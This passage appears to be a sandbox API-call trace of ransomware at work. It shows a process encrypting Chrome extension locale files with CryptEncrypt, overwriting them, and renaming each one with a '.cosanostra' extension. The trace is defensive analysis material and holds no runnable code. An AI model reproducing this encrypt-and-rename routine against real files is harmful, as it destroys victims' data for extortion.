"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0087.008] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff960 | out: pbBuffer=0x26ff960) returned 1 [0087.008] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff958*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff958*=0x30) returned 1 [0087.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.008] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 162 [0087.008] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.075] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffdad, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.075] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x253, lpNumberOfBytesWritten=0x26ff91c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff91c*=0x253, lpOverlapped=0x0) returned 1 [0087.075] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.075] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff95c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff91c, lpOverlapped=0x0 | out: lpBuffer=0x26ff95c*, lpNumberOfBytesWritten=0x26ff91c*=0x4, lpOverlapped=0x0) returned 1 [0087.075] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff91c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff91c*=0x30, lpOverlapped=0x0) returned 1 [0087.075] CloseHandle (hObject=0x16c) returned 1 [0087.076] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.cosanostra") returned 173 [0087.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0087.078] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff950 | out: pbBuffer=0x26ff950) returned 1 [0087.078] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff948*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff948*=0x30) returned 1 [0087.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.079] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 158 [0087.079] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.080] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff07, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.080] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xf9, lpNumberOfBytesWritten=0x26ff90c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff90c*=0xf9, lpOverlapped=0x0) returned 1 [0087.080] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.080] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff90c, lpOverlapped=0x0 | out: lpBuffer=0x26ff94c*, lpNumberOfBytesWritten=0x26ff90c*=0x4, lpOverlapped=0x0) returned 1 [0087.080] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff90c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff90c*=0x30, lpOverlapped=0x0) returned 1 [0087.080] CloseHandle (hObject=0x16c) returned 1 [0087.081] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.cosanostra") returned 169 [0087.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0087.083] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff948 | out: pbBuffer=0x26ff948) returned 1 [0087.083] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff940*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff940*=0x30) returned 1 [0087.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.087] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 158 [0087.087] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffefe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.088] WriteFile (in: hFile=0x190, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x26ff904, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff904*=0x102, lpOverlapped=0x0) returned 1 [0087.088] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x190, lpBuffer=0x26ff944*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff904, lpOverlapped=0x0 | out: lpBuffer=0x26ff944*, lpNumberOfBytesWritten=0x26ff904*=0x4, lpOverlapped=0x0) returned 1 [0087.089] WriteFile (in: hFile=0x190, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff904, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff904*=0x30, lpOverlapped=0x0) returned 1 [0087.089] CloseHandle (hObject=0x190) returned 1 [0087.089] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.cosanostra") returned 169 [0087.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0087.091] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff940 | out: pbBuffer=0x26ff940) returned 1 [0087.091] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff938*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff938*=0x30) returned 1 [0087.091] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.111] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 155 [0087.111] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.112] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffed0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.112] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x26ff8fc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff8fc*=0x130, lpOverlapped=0x0) returned 1 [0087.112] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.112] WriteFile (in: hFile=0x194, lpBuffer=0x26ff93c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff93c*, lpNumberOfBytesWritten=0x26ff8fc*=0x4, lpOverlapped=0x0) returned 1 [0087.112] WriteFile (in: hFile=0x194, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8fc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8fc*=0x30, lpOverlapped=0x0) returned 1 [0087.112] CloseHandle (hObject=0x194) returned 1 [0087.112] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.cosanostra") returned 166 [0087.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0087.114] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff938 | out: pbBuffer=0x26ff938) returned 1 [0087.114] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff930*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff930*=0x30) returned 1 [0087.114] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.114] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json") returned 155 [0087.114] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.115] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff2e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.116] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xd2, lpNumberOfBytesWritten=0x26ff8f4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff8f4*=0xd2, lpOverlapped=0x0) returned 1 [0087.116] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.116] WriteFile (in: hFile=0x194, lpBuffer=0x26ff934*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8f4, lpOverlapped=0x0 | out: lpBuffer=0x26ff934*, lpNumberOfBytesWritten=0x26ff8f4*=0x4, lpOverlapped=0x0) returned 1 [0087.116] WriteFile (in: hFile=0x194, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8f4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8f4*=0x30, lpOverlapped=0x0) returned 1 [0087.116] CloseHandle (hObject=0x194) returned 1 [0087.116] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.cosanostra") returned 166 [0087.116] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.cosanostra")) returned 1 [0087.118] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff930 | out: pbBuffer=0x26ff930) returned 1 [0087.118] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff928*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff928*=0x30) returned 1 [0087.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.118] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json") returned 155 [0087.118] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.119] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffee2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.119] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x26ff8ec, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff8ec*=0x11e, lpOverlapped=0x0) returned 1 [0087.120] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.120] WriteFile (in: hFile=0x194, lpBuffer=0x26ff92c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff92c*, lpNumberOfBytesWritten=0x26ff8ec*=0x4, lpOverlapped=0x0) returned 1 [0087.120] WriteFile (in: hFile=0x194, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8ec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8ec*=0x30, lpOverlapped=0x0) returned 1 [0087.120] CloseHandle (hObject=0x194) returned 1 [0087.120] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.cosanostra") returned 166 [0087.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0087.122] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff928 | out: pbBuffer=0x26ff928) returned 1 [0087.122] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff920*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff920*=0x30) returned 1 [0087.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.122] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned 155 [0087.122] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.123] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffef7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.123] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x26ff8e4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff8e4*=0x109, lpOverlapped=0x0) returned 1 [0087.123] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.123] WriteFile (in: hFile=0x194, lpBuffer=0x26ff924*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8e4, lpOverlapped=0x0 | out: lpBuffer=0x26ff924*, lpNumberOfBytesWritten=0x26ff8e4*=0x4, lpOverlapped=0x0) returned 1 [0087.123] WriteFile (in: hFile=0x194, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8e4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8e4*=0x30, lpOverlapped=0x0) returned 1 [0087.123] CloseHandle (hObject=0x194) returned 1 [0087.123] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.cosanostra") returned 166 [0087.124] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0087.125] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff920 | out: pbBuffer=0x26ff920) returned 1 [0087.125] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff918*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff918*=0x30) returned 1 [0087.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 